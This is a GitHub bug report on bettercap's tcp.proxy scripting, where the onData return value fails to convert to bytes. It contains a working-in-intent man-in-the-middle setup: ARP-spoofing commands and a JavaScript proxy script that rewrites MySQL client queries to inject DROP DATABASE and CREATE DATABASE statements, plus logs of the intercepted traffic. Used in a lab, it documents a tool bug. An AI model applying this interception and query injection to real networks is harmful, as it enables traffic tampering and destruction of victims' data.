Skip to content

tcp.proxy change data ,onData function return error #788

@ba0gu0

Description

@ba0gu0

Environment

  • Bettercap version: bettercap v2.28 (built for linux amd64 with go1.14.4).
  • OS version : Kali Linux 2020.3.
  • Go version : go1.14.4.
  • Command line arguments: sudo bettercap -iface eth0
  • Through arp deception, modify the data of the MySQL client management database. 172.16.114.130 is the database server, 172.16.114.131 is the mysql client. 172.16.114.128 is the arp attack server.

Js Script Code:

function onData(from, to, data) {

    if (env["tcp.address"] == to){

        log('Incoming Data : ' + data)

        var result_str = '';

        for (var i = 0; i < data.length; i++ ){

            var str = String.fromCharCode(parseInt(data[i]));

            result_str += str;

        }

        result_str = result_str.replace(/select/i, "DROP DATABASE IF EXISTS Hack_By_BaoGuo;CREATE DATABASE Hack_By_BaoGuo;SELECT");

        log('Mysql Client Query SQL : ' + result_str);

        result_ascii = new Array();

        for (var i = 0; i < result_str.length; i++) {

            var ascii = result_str.charCodeAt(i);

            result_ascii.push(ascii);
        }

        log('Return Data : ' + result_ascii)

        return result_ascii;
    }
}

Steps to Reproduce

172.16.114.0/24 > 172.16.114.128  » set tcp.address 172.16.114.130
172.16.114.0/24 > 172.16.114.128  » set tcp.port 3306
172.16.114.0/24 > 172.16.114.128  » set tcp.proxy.script /home/kali/Desktop/mysql.js
172.16.114.0/24 > 172.16.114.128  » tcp.proxy on
172.16.114.0/24 > 172.16.114.128  » set arp.spoof.internal true
172.16.114.0/24 > 172.16.114.128  » set arp.spoof.targets 172.16.114.131
172.16.114.0/24 > 172.16.114.128  » arp.spoof on

172.16.114.0/24 > 172.16.114.128  » [20:02:08] [sys.log] [inf] Incoming Data : 17,0,0,0,3,115,101,108,101,99,116,32,118,101,114,115,105,111,110,40,41
172.16.114.0/24 > 172.16.114.128  » [20:02:08] [sys.log] [inf] Mysql Client Query SQL : DROP DATABASE IF EXISTS Hack_By_BaoGuo;CREATE DATABASE Hack_By_BaoGuo;SELECT version()
172.16.114.0/24 > 172.16.114.128  » [20:02:08] [sys.log] [inf] Return Data : 17,0,0,0,3,68,82,79,80,32,68,65,84,65,66,65,83,69,32,73,70,32,69,88,73,83,84,83,32,72,97,99,107,95,66,121,95,66,97,111,71,117,111,59,67,82,69,65,84,69,32,68,65,84,65,66,65,83,69,32,72,97,99,107,95,66,121,95,66,97,111,71,117,111,59,83,69,76,69,67,84,32,118,101,114,115,105,111,110,40,41
172.16.114.0/24 > 172.16.114.128  » [20:02:08] [sys.log] [err] error while casting exported value to array of byte: value = [17 0 0 0 3 68 82 79 80 32 68 65 84 65 66 65 83 69 32 73 70 32 69 88 73 83 84 83 32 72 97 99 107 95 66 121 95 66 97 111 71 117 111 59 67 82 69 65 84 69 32 68 65 84 65 66 65 83 69 32 72 97 99 107 95 66 121 95 66 97 111 71 117 111 59 83 69 76 69 67 84 32 118 101 114 115 105 111 110 40 41]
172.16.114.0/24 > 172.16.114.128  » [20:02:34] [sys.log] [inf] Incoming Data : 12,0,0,0,3,115,104,111,119,32,116,97,98,108,101,115
172.16.114.0/24 > 172.16.114.128  » [20:02:34] [sys.log] [inf] Mysql Client Query SQL : 
                                                                                        show tables
172.16.114.0/24 > 172.16.114.128  » [20:02:34] [sys.log] [inf] Return Data : 12,0,0,0,3,115,104,111,119,32,116,97,98,108,101,115
172.16.114.0/24 > 172.16.114.128  » [20:02:34] [sys.log] [err] error while casting exported value to array of byte: value = [12 0 0 0 3 115 104 111 119 32 116 97 98 108 101 115]
172.16.114.0/24 > 172.16.114.128  » 

Expected behavior:

  • Can't return data correctly ? But I directly return the passed data parameter, it can run normally.

Actual behavior:

  • error while casting exported value to array of byte: value = [12 0 0 0 3 115 104 111 119 32 116 97 98 108 101 115]

--

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions